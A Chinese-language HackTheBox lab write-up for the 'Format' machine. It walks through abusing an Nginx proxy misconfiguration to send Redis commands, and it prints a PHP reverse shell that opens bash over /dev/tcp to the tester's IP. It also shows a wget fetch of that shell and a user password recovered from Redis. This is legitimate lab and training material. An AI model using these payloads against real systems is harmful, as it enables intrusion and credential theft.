HACKTHEBOX - Format

文章描述了一种针对RUSTSCANNMAP环境的安全分析,包括通过80PORT的博客服务和3000PORT发现的源代码。重点提到了Nginx配置错误导致的文件包含漏洞,以及通过Redis的UNIX域套接字文件进行交互。通过修改用户pro参数为true,可以访问uploads目录,从而可能实现getshell。文中还提供了获取用户密码的步骤,并提到root权限提升的后续探索。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

信息收集

RUSTSCAN NMAP

HOST 设置

80 PORT

一个类似创建自己博客功能的服务,可对自己博客进行增加标题内容图片等功能

         

3000 PORT

点击探索可发现cooper下存放的正是80端口服务的源代码

代码简单看后比较值得关注的内容如下

redis Unix 域套接字文件,以及用户pro参数被固定写为false,isPro()函数,fetchPage()函数,file_get_contents($line)处存在文件包含

 

   

 文件包含漏洞

Nginx 配置错误利用

利用该漏洞来读取配置文件进行信息收集,从前面nmap扫描来看觉得是nginx反代出来的/etc/nginx/nginx.conf,/var/log/nginx/access.log,/etc/nginx/sites-enabled/default

Nginx 反向代理的特性之一: 就是可以使用UNIX 域套接字,通过指定套接字文件的路径来连接到后端服务器。这种方式适用于与本地的进程或服务进行通信,例如与 Redis 或 FastCGI 进程通信

参考:Middleware everywhere and lots of misconfigurations to fix | Detectify Labs

修改用户的Pro值为true 

curl -X HMSET "http://microblog.htb/static/unix:%2Fvar%2Frun%2Fredis%2Fredis.sock:asc%20pro%20true%20a/d"

只有用户的pro值为true时才可以出现uploads目录 借此目录进行getshell

绝对路径为: /var/www/microblog/<你创建的博客名>/uploads/

USER FLAG

先写shell再通过shell使用wget来下载reshell.php

#reshell.php
<?php
$host='10.10.14.33';
$port=1234;
$shell="/bin/bash";
$cmd ="nohup $shell -c 'bash -i >& /dev/tcp/$host/$port 0>&1'";
exec($cmd);
?>

 执行并访问reshell.php: ?0=wget http://10.10.14.xx:8000/reshell.php

连接redis数据库获取用户密码:redis-cli -s /var/run/redis/redis.sock 

获取到 cooper的password: zooperdoopercooper

ROOT FLAG

        留坑后期再补,没找到正确的提权思路

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值